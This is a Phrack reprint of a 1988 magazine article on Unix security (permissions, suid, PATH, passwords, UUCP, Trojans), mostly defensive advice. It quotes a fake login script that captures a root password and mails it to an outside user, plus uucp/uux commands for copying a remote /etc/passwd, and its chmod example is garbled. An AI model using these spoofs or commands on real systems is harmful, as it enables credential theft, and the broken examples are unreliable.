                             == Phrack Inc. ==

                    Volume Two, Issue 18, Phile #7 of 11

                       "Unix System Security Issues"
                                 Typed by:
                                   Whisky
                           (from Holland, Europe)
                   --------------------------------------
                                    From
                              Information Age
                       Vol. 11, Number 2, April 1988
                                Written By:
                    Michael J. Knox and Edward D. Bowden
                       HTML-version by Markus Hbner

Note: This file was sent to me from a friend in Holland. I felt that it
would be a good idea to present this file to the UNIX-hacker community, to
show that hackers don't always harm systems, but sometimes look for ways to
secure flaws in existing systems. -- Jester Sluggo !!

There are a number of elements that have lead to the popularity of the Unix
operating system in the world today. The most notable factors are its
portability among hardware platforms and the interactive programming
environment that it offers to users. In fact, these elements have had much
to do with the successful evolution of the Unix system in the commercial
market place. (1, 2)
As the Unix system expands further into industry and government, the need to
handle Unix system security will no doubt become imperative. For example,
the US government is committing several million dollars a year for the Unix
system and its supported hardware. (1) The security requirements for the
government are tremendous, and one can only guess at the future needs of
security in industry.
In this paper, we will cover some of the more fundamental security risks in
the Unix system. Discussed are common causes of Unix system compromise in
such areas as file protection, password security, networking and hacker
violations. In our conclusion, we will comment upon ongoing effects in Unix
system security, and their direct influence on the portability of the Unix
operating system.

FILE AND DIRECTORY SECURITY

In the Unix operating system environment, files and directories are
organized in a tree structure with specific access modes. The setting of
these modes, through permission bits (as octal digits), is the basis of Unix
system security. Permission bits determine how users can access files and
the type of access they are allowed. There are three user access modes for
all Unix system files and directories: the owner, the group, and others.
Access to read, write and execute within each of the usertypes is also
controlled by permission bits (Figure 1). Flexibility in file security is
convenient, but it has been criticized as an area of system security
compromise.

                        Permission modes
OWNER                        GROUP                    OTHERS
------------------------------------------------------------
rwx            :             rwx            :         rwx
------------------------------------------------------------
r=read  w=write  x=execute

-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file
drwx------ 2 sam A1 2 May 01 12:01 directory

FIGURE 1. File and directory modes: File shows Bob as the owner, with read
and write permission. Group has write permission, while Others has read and
execute permission. The directory gives a secure directory not readable,
writeable, or executable by Group and Others.

Since the file protection mechanism is so important in the Unix operating
system, it stands to reason that the proper setting of permission bits is
required for overall security. Aside from user ignorance, the most common
area of file compromise has to do with the default setting of permission
bits at file creation. In some systems the default is octal 644, meaning
that only the file owner can write and read to a file, while all others can
only read it. (3) In many "open" environments this may be acceptable.
However, in cases where sensitive data is present, the access for reading by
others should be turned off. The file utility umask does in fact satisfy
this requirement. A suggested setting, umask 027, would enable all
permission for the file owner, disable write permission to the group, and
disable permissions for all others (octal 750). By inserting this umask
command in a user .profile or .login file, the default will be overwritten
by the new settings at file creation.
The CHMOD utility can be used to modify permission settings on files and
directories. Issuing the following command,

chmod u+rwd,g+rw,g-w,u-rwx file

will provide the file with the same protection as the umask above (octal
750). Permission bits can be relaxed with chmod at a later time, but at
least initially, the file structure can be made secure using a restrictive
umask. By responsible application of such utilities as umask and chmod,
users can enhance file system security. The Unix system, however, restricts
the security defined by the user to only owner, group and others. Thus, the
owner of the file cannot designate file access to specific users. As Kowack
and Healy have pointed out, "The granularity of control that (file security)
mechanisms is often insufficient in practice (...) it is not possible to
grant one user write protection to a directory while granting another read
permission to the same directory. (4) A useful file security file security
extension to the Unix system might be Multics style access control lists.
With access mode vulnerabilities in mind, users should pay close attention
to files and directories under their control, and correct permissions
whenever possible. Even with the design limitations in mode granularity,
following a safe approach will ensure a more secure Unix system file
structure.

SUID and SGID

The set user id (suid) and set group id (sgid) identify the user and group
ownership of a file. By setting the suid or sgid permission bits of an
executable file, other users can gain access to the same resources (via the
executable file) as that of the real file's owner.

For Example:

Let Bob's program bob.x be an executable file accessible to others. When
Mary executes bob.x, Mary becomes the new program owner. If during program
execution bob.x requests access to file browse.txt, then Mary must have
previous read or write permission to browse.txt. This would allow Mary and
everyone else total access to the contents of browse.txt, even when she is
not running bob.x. By turning on the suid bit of bob.x, Mary will have the
same access permissions to browse.txt as does the program's real owner, but
she will only have access to browse.txt during the execution of bob.x.
Hence, by incorporating suid or sgid, unwelcome browsers will be prevented
from accessing files like browse.txt.

Although this feature appears to offer substantial access control to Unix
system files, it does have one critical drawback. There is always the chance
that the superuser (system administrator) may have a writable file for
others that is also set with suid. With some modification in the file's code
(by a hacker), an executable file like this would enable a user to become a
superuser. Within a short period of time this violator could completely
compromise system security and make it inaccessible, even to other
superusers. As Farrow (5) puts it, "(...) having a set-user-id copy of the
shell owned by root is better than knowing the root password".
To compensate for this security threat, writable suid files should be sought
out and eliminated by the system administrator. Reporting of such files by
normal users is also essential in correcting existing security breaches.

DIRECTORIES

Directory protection is commonly overlooked component of file security in
the Unix system. Many system administrators and users are unaware of the
fact, that "publicly writable directories provide the most opportunities for
compromising the Unix system security" (6). Administrators tend to make
these "open" for users to move around and access public files and utilities.
This can be disastrous, since files and other subdirectories within writable
directories can be moved out and replaced with different versions, even if
contained files are unreadable or unwritable to others. When this happens,
an unscrupulous user or a "password breaker" may supplant a Trojan horse of
a commonly used system utility (e.g. ls, su, mail and so on). For example,
imagine

For example:

Imagine that the /bin directory is publicly writable. The perpetrator could
first remove the old su version (with rm utility) and then include his own
fake su to read the password of users who execute this utility.

Although writable directories can destroy system integrity, readable ones
can be just as damaging. Sometimes files and directories are configured to
permit read access by other. This subtle convenience can lead to
unauthorized disclosure of sensitive data: a serious matter when valuable
information is lost to a business competitor.
As a general rule, therefore, read and write access should be removed from
all but system administrative directories. Execute permission will allow
access to needed files; however, users might explicitly name the file they
wish to use. This adds some protection to unreadable and unwritable
directories. So, programs like lp file.x in an unreadable directory /ddr
will print the contents of file.x, while ls/ddr would not list the contents
of that directory.

PATH VARIABLE

PATH is an environment variable that points to a list of directories, which
are searched when a file is requested by a process. The order of that search
is indicated by the sequence of the listed directories in the PATH name.
This variable is established at user logon and is set up in the users
.profile of .login file.
If a user places the current directory as the first entry in PATH, then
programs in the current directory will be run first. Programs in other
directories with the same name will be ignored. Although file and directory
access is made easier with a PATH variable set up this way, it may expose
the user to pre-existing Trojan horses.
To illustrate this, assume that a Trojan horse, similar to the cat utility,
contains an instruction that imparts access privileges to a perpetrator. The
fake cat is placed in a public directory /usr/his where a user often works.
Now if the user has a PATH variable with the current directory first, and he
enters the cat command while in /usr/his, the fake cat in /usr/his would be
executed but not the system cat located in /bin.
In order to prevent this kind of system violation, the PATH variable must be
correctly set. First, if at all possible, exclude the current directory as
the first entry in the PATH variable and type the full path name when
invoking Unix system commands. This enhances file security, but is more
cumbersome to work with. Second, if the working directory must be included
in the PATH variable, then it should always be listed last. In this way,
utilities like vi, cat, su and ls will be executed first from systems
directories like /bin and /usr/bin before searching the user's working
directory.

PASSWORD SECURITY

User authentication in the Unix system is accomplished by personal
passwords. Though passwords offer an additional level of security beyond
physical constraints, they lend themselves to the greatest area of computer
system compromise. Lack of user awareness and responsibility contributes
largely to this form of computer insecurity. This is true of many computer
facilities where password identification, authentication and authorization
are required for the access of resources - and the Unix operating system is
no exception. Password information in many time-sharing systems are kept in
restricted files that are not ordinarily readable by users. The Unix system
differs in this respect, since it allows all users to have read access to
the /etc/passwd file (FIGURE 2) where encrypted passwords and other user
information are stored. Although the Unix system implements a one-way
encryption method, and in most systems a modified version of the data
encryption standard (DES), password breaking methods are known. Among these
methods, brute-force attacks are generally the least effective, yet
techniques involving the use of heuristics (good guesses and knowledge about
passwords) tend to be successful. For example, the /etc/passwd file contains
such useful information as the login name and comments fields. Login names
are especially rewarding to the "password breaker" since many users will use
login variants for passwords (backward spelling, the appending of a single
digit etc.). The comment field often contains items such as surname, given
name, address, telephone number, project name and so on. To quote Morris and
Grampp (7) in their landmark paper on Unix system security:

     [in the case of logins]


     The authors made a survey of several dozen local machines, using as
     trial passwords a collection of the 20 most common female first names,
     each followed by a single digit. The total number of passwords tried
     was, therefore, 200. At least one of these 200 passwords turned out to
     be a valid password on every machine surveyed.

     [as for comment fields]


     (...) if an intruder knows something about the people using a machine,
     a whole new set of candidates is available. Family and friend's names,
     auto registration numbers, hobbies, and pets are particularly
     productive categories to try interactively in the unlikely event that a
     purely mechanical scan of the password file turns out to be
     disappointing.

Thus, given a persistent system violator, there is a strong evidence, that
he will find some information about users in the /etc/passwd file. With this
in mind, it is obvious that a password file should be unreadable to everyone
except those in charge of system administration.

root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin
mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin

FIGURE 2. The /etc/passwd file. Note the comments field as underlined terms.

Resolution of the /etc/passwd file's readability does not entirely solve the
basic problem with passwords. Educating users and administrators is
necessary to assure proper password utilization. First, "good passwords are
those that are at least six characters long, aren't based on personal
information, and have some non-alphabetic (especially control) characters in
them: 4score, my_name, luv2run" (8). Secondly, passwords should be changed
periodically but users should avoid alternating between two passwords.
Different passwords for different machines and files will aid in protecting
sensitive information. Finally, passwords should never be available to
unauthorized users. Reduction of user ignorance about poor password choice
will inevitably make a system more secure.

NETWORK SECURITY

UUCP system The most common Unix system network is the UUCP system, which is
a group of programs that perform the file transfers and command execution
between remote systems. (3) The problem with the UUCP system is that users
on the network may access other users' files without access permission. As
stated by Nowitz (9),

     The uucp system, left unrestricted, will let any outside user execute
     commands and copy in/out any file that is readable/writable by a uucp
     login user. It is up to the individual sites to be aware of this, and
     apply the protections that they feel free are necessary.

This emphasizes the importance of proper implementation by the system
administrator.
There are four UUCP system commands to consider when looking into network
security with the Unix system. The first is uucp, a command used to copy
files between two Unix systems. If uucp is not properly implemented by the
system administrator, any outside user can execute remote commands and copy
files from another login user. If the file name on another system is known,
one could use the uucp command to copy files from that system to their
system. For example:

  %uucp system2!/main/src/hisfile myfile

will copy hisfile from system2 in the directory /main/src to the file myfile
in the current local directory. If file transfer restrictions exist on
either system, hisfile would not be sent. If there are no restrictions, any
file could be copied from a remote user - including the password file. The
following would copy the remote system /etc/passwd file to the local file
thanks:

  %uucp system2!/etc/passwd thanks

System administrators can address the uucp matter by restricting uucp file
transfers to the directory /user/spool/uucppublic. (8) If one tries to
transfer a file anywhere else, a message will be returned saying "remote
access to path/file denied" and no file transfer will occur.
The second UUCP system command to consider is the uux. Its function is to
execute commands on remote Unix computers. This is called remote command
execution and is most often used to send mail between systems (mail executes
the uux command internally).
The ability to execute a command on another system introduces a serious
security problem if remote command execution is not limited. As an example,
a system should not allow users from another system to perform the
following:

  %uux "system1!cat/usr/spool/uucppublic"

which would cause system1 to send its /etc/passwd file to the system2 uucp
public directory. The user of system2 would now have access to the password
file. Therefore, only a few commands should be allowed to execute remotely.
Often the only command allowed to run uux is rmail, the restricted mail
program.
The third UUCP system function is the uucico (copy in / copy out) program.
It performs the true communication work. Uucp or uux does not actually call
up other systems; instead they are queued and the uucico program initiates
the remote processes. The uucico program uses the file /usr/uucp/USERFILE to
determine what files a remote system may send or receive. Checks for legal
files are the basis for security in USERFILE. Thus the system administrator
should carefully control this file.
In addition, USERFILE controls security between two Unix systems by allowing
a call-back flag to be set. Therefore, some degree of security can be
achieved by requiring a system to check if the remote system is legal before
a call-back occurs.
The last UUCP function is the uuxqt. It controls the remote command
execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to determine
which commands will run in response to a remote execution request. For
example, if one wishes to use the electronic mail feature, then the L.cmd
file will contain the line rmail. Since uuxqt determines what commands will
be allowed to execute remotely, commands which may compromise system
security should not be included in L.cmd.

CALL THE UNIX SYSTEM

In addition to UUCP network commands, one should also be cautious of the cu
command (call the Unix system). Cu permits a remote user to call another
computer system. The problem with cu is that a user on a system with a weak
security can use cu to connect to a more secure system and then install a
Trojan horse on the stronger system. It is apparent that cu should not be
used to go from a weaker system to a stronger one, and it is up to the
system administrator to ensure that this never occurs.

LOCAL AREA NETWORKS

With the increased number of computers operating under the Unix system, some
consideration must be given to local area networks (LANs). Because LANs are
designed to transmit files between computers quickly, security has not been
a priority with many LANs, but there are secure LANs under development. It
is the job of the system manager to investigate security risks when
employing LANs.

OTHER AREAS OF COMPROMISE

There are numerous methods used by hackers to gain entry into computer
systems. In the Unix system, Trojan horses, spoofs and suids are the primary
weapons used by trespassers.
Trojan horses are pieces of code or shell scripts which usually assume the
role of a common utility but when activated by an unsuspecting user performs
some unexpected task for the trespasser. Among the many different Trojan
horses, it is the su masquerade that is the most dangerous to the Unix
system. Recall that the /etc/passwd file is readable to others, and also
contains information about all users - even root users. Consider what a
hacker could do if he were able to read this file and locate a root user
with a writable directory. He might easily plant a fake su that would send
the root password back to the hacker. A Trojan horse similar to this can
often be avoided when various security measures are followed, that is, an
etc/passwd file with limited read access, controlling writable directories,
and the PATH variable properly set.
A spoof is basically a hoax that causes an unsuspecting victim to believe
that a masquerading computer function is actually a real system operation. A
very popular spool in many computer systems is the terminal-login trap. By
displaying a phoney login format, a hacker is able to capture the user's
password.
Imagine that a root user has temporarily deserted his terminal. A hacker
could quickly install a login process like the one described by Morris and
Grampp (7):

  echo -n "login:"
  read X
  stty -echo
  echo -n "password:"
  read Y
  echo ""
  stty echo
  echo %X%Y|mail outside|hacker&
  sleep 1
  echo Login incorrect
  stty 0>/dev/tty

We see that the password of the root user is mailed to the hacker who has
completely compromised the Unix system. The fake terminal-login acts as if
the user has incorrectly entered the password. It then transfers control
over to the stty process, thereby leaving no trace of its existence.
Prevention of spoofs, like most security hazards, must begin with user
education. But an immediate solution to security is sometimes needed before
education can be effected. As for terminal-login spoofs, there are some
keyboard-locking programs that protect the login session while users are
away from their terminals. (8, 10) These locked programs ignore
keyboard-generated interrupts and wait for the user to enter a password to
resume the terminal session.
Since the suid mode has been previously examined in the password section, we
merely indicate some suid solutions here. First, suid programs should be
used is there are no other alternatives. Unrestrained suids or sgids can
lead to system compromise. Second, a "restricted shell" should be given to a
process that escapes from a suid process to a child process. The reason for
this is that a nonprivileged child process might inherit privileged files
from its parents. Finally, suid files should be writable only by their
owners, otherwise others may have access to overwrite the file contents.
It can be seen that by applying some basic security principles, a user can
avoid Trojan horses, spoofs and inappropriate suids. There are several other
techniques used by hackers to compromise system security, but the use of
good judgement and user education may go far in preventing their occurrence.

CONCLUSION

Throughout this paper we have discussed conventional approaches to Unix
system security by way of practical file management, password protection,
and networking. While it can be argued that user education is paramount in
maintaining Unix system security (11) factors in human error will promote
some degree of system insecurity. Advances in protection mechanisms through
better-written software (12), centralized password control (13) and
identification devices may result in enhanced Unix system security.
The question now asked applies to the future of Unix system operating. Can
existing Unix systems accommodate the security requirements of government
and industry? It appears not, at least for governmental security projects.
By following the Orange Book (14), a government graded classification of
secure computer systems, the Unix system is only as secure as the C1
criterion. A C1 system, which has a low security rating (D being the lowest)
provides only discretionary security protection (DSP) against browsers or
non-programmer users. Clearly this is insufficient as far as defense or
proprietary security is concerned. What is needed are fundamental changes to
the Unix security system. This has been recognized by at least three
companies, AT&T, Gould and Honeywell (15, 16, 17). Gould, in particular, has
made vital changes to the kernel and file system in order to produce a C2
rated Unix operating system. To achieve this, however, they have had to
sacrifice some of the portability of the Unix system. It is hoped that in
the near future a Unix system with an A1 classification will be realized,
though not at the expense of losing its valued portability.

REFERENCES

  I. Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986)
     pp 50-63

 II. Waite, M et al. "Unix system V primer" USA (1984)

III. Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp
     113-128

 IV. Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol 18
     (26 September 1984) pp 27-28

  V. Farrow, R "Security issues and strategies for users" Unix/World (April
     1986) pp 65-71

 VI. Farrow, R "Security for superusers, or how to break the Unix system"
     Unix/World (May 1986) pp 65-70

VII. Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell
     Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672 Wood, P H and Kochan, S G
     "Unix system security" USA (1985)

VIII.Nowitz, D A "UUCP Implementation description: Unix programmer's manual
     Sec. 2" AT&T Bell Laboratories, USA (1984)

 IX. Thomas, R "Securing your terminal: two approaches" Unix/World (April
     1986) pp 73-76

  X. Karpinski, D "Security round table (Part 1)" Unix Review (October 1984)
     p 48

 XI. Karpinski, D "Security round table (Part 2)" Unix Review (October 1984)
     p 48

XII. Lobel, J "Foiling the system breakers: computer security and access
     control" McGraw-Hill, USA (1986)

XIII.National Computer Security Center "Department of Defense trusted
     computer system evaluation criteria" CSC-STD-001-83, USA (1983)

XIV. Stewart, F "Implementing security under Unix" Systems&Software
     (February 1986)

 XV. Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the
     Lock TCB" Proceedings of USENIX (1988)

XVI. Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs,
     Government System Division, USA (August 1987)

                            Back to the Security-Page
